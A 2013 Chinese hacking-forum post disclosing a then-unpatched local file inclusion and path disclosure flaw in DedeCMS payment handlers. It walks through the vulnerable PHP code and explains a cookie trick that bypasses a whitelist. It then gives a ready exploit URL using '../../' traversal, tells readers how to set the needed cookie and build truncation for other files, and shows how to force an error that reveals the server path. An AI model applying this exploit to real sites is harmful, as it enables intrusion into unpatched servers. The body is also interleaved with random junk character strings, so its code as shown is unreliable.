找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2472|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
$ K- G( i+ j: C' b4 q# s( y8 }) B9 h; Q' w
出现漏洞的两个文件为:3 i" h2 m1 a$ P# X. D* {2 k7 T
Include/payment/alipay.php
9 T8 B$ p/ Q( S0 f5 {Include/payment/yeepay.php
, a8 m5 Y2 _/ [( W1 ?/ k# F2 P# X! s漏洞均出现在respond方法里,估计这两个文件是临时工写的。2 j5 B7 _: }, x) t* s6 K
+ Z) ^% e0 ]+ v6 z4 ?
Include/payment/alipay.php
. I2 `2 O3 O' n. S6 Y0 w3 a
- I7 C: f! W6 C$ x+ y: j  `6 ]% L3 l7 B......9 f9 m1 l" h7 X* V
   function respond()) S8 @, R1 I7 l+ D" g
    {1 n! u1 e$ m- V4 G8 ]
        if (!empty($_POST))/ ~% V- a, ]+ ]6 i
        {
5 P' y+ M5 x3 i2 Q" `# y            foreach($_POST as $key => $data); F: }8 i0 s+ V
            {
9 K" e" ^( M( ^& H/ O                $_GET[$key] = $data;
9 F/ o3 f+ Y- _' P3 K8 h6 f            }
2 m  ?2 j/ t3 H! z        }
0 s% f0 k- ?! E  J        /* 引入配置文件 */- j" W# W. v8 s0 ~/ {6 ~
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
: B" R* F; l5 ~/ m3 P/ s4 @' ?......
- s: E3 p' H. K) J ' H# K0 r% W% F$ {: o( }, ~
* a, y% D7 [- ]# T
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。$ j% N0 ]* h' a5 Z- p, h) o

* b" B0 z' P6 rInclude/payment/yeepay.php
& k- ?" Z" R1 U/ K- c: \' B, P4 {% h% x

8 R; z! `- p1 B, Z6 Q1 E" _9 ?& f% O3 }$ m, J: t5 U( X! f
......( }2 t+ P. ?: K: f
    function respond()6 s$ r  {7 N+ Q: O( V
    {+ M, \" T. z$ r+ J, L" ]. |

7 h9 g$ }4 V2 S        /* 引入配置文件 */
- Y5 U* I  P. e# p# L        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
% i# [; Z0 F7 I- X8 t" N2 Y ; p) Y' b4 y: J; i, Y* }- |; y5 F
        $p1_MerId = trim($payment['yp_account']);, Z3 v) u+ J8 s
        $merchantKey = trim($payment['yp_key']);
, O  m$ {7 p6 b8 g5 K...... . N6 n1 }9 L1 B& G
: v/ \- }6 x$ W! U4 Q/ M4 M

' j: r1 ?* `- U( h$ u9 y
( g/ F* `0 ^  T
8 @$ C1 r3 x, J9 w5 K. c; `  c, s大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
6 K1 b8 Z6 G6 p# ~) }+ Q, `! z2 |! |. ^# _; j2 U" g
这两个方法在plus/carbuyaction.php文件调用。+ K4 z/ M  C" @2 {+ D) E2 ^2 j
. I0 v. B6 O) C  R+ b$ S7 S& F
plus/carbuyaction.php
. J) F. [, g; @9 m/ z( G
; [' x% C" C) M% P......
) i  ^) `* ]# n" p0 Y  }- G2 c, P} else if ($dopost == 'return') {+ w" n" q* ]/ o$ n8 k$ y
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
" e) H' j& k$ [% Y, I, P0 R7 {. f    if (in_array($code, $write_list))5 I+ U3 p8 i7 B* u  U* f
    {9 h* w. K# @$ f( l
        require_once DEDEINC.'/payment/'.$code.'.php';5 O9 D  k) i: v8 z* z
        $pay = new $code;
% {( x: U/ b6 @( F% r7 Z0 c2 f        $msg=$pay->respond();3 a2 i; ^: {: s8 d5 R! B5 E! m! R9 C
        ShowMsg($msg, "javascript:;", 0, 3000);* ]! U1 t9 P, B3 ?# b5 O
        exit();  ; E  V/ H' o& `2 {& Q
    } else {
- u0 M+ J3 G4 h5 Y7 s        exit('Error:File Type Can\'t Recognized!');
+ U1 e2 F6 o- Q9 f* \6 X0 [    }3 L& S4 s1 @4 w8 g) ]. W9 F
}
, C# V! L3 T% x& n0 }/ a8 X( B& o* F0 x...... 7 d/ L7 v1 m" n
7 V) C0 j6 s: P9 t9 P0 }4 u
4 G# h" E  ?& M

8 }4 R$ w, W5 X8 O  `
. z7 Y9 Q% w: |7 V
) P2 X, d5 ~/ I" q$ x/ v8 C" h3 W! R+ g* Q6 [% |5 w
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 y- U9 |. f+ X' t6 D5 k6 ?# U0 i$ y( \所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
2 {7 U  H: O. @, K' f: y
) p; ^6 ]$ l' p回到include/common.inc.php来看看他的机制。
/ e( ?# z7 h+ b6 n% z
' O$ Z  ]% W- F% M ( X4 ~; d7 Z% c4 N" j) {8 Z0 O

7 L4 t8 [. U& P, @$ i+ \4 L......
4 |2 O$ b8 H$ N. d% m& b4 l! Uforeach(Array('_GET','_POST','_COOKIE') as $_request)
* |: [/ j! i' B3 C! @' c{
3 q0 R  h! k( Y7 @        foreach($$_request as $_k => $_v)
! M' o: e) i7 s+ v* L, P$ W4 P        {
4 w8 E, ?* P( d2 S% c) H- M                if($_k == 'nvarname') ${$_k} = $_v;8 J( P* a( Q# C: B  p7 P& T& j8 a
                else ${$_k} = _RunMagicQuotes($_v);
: @4 }/ f; T7 e        }! J# o! Z% Q( V7 J  l* O- q) W
}1 |+ q7 R' w+ {2 ?) C) N
......
9 u& k- y) T+ [4 S& E3 D# g大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
- m* l& E/ I) [0 ]; @6 n由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表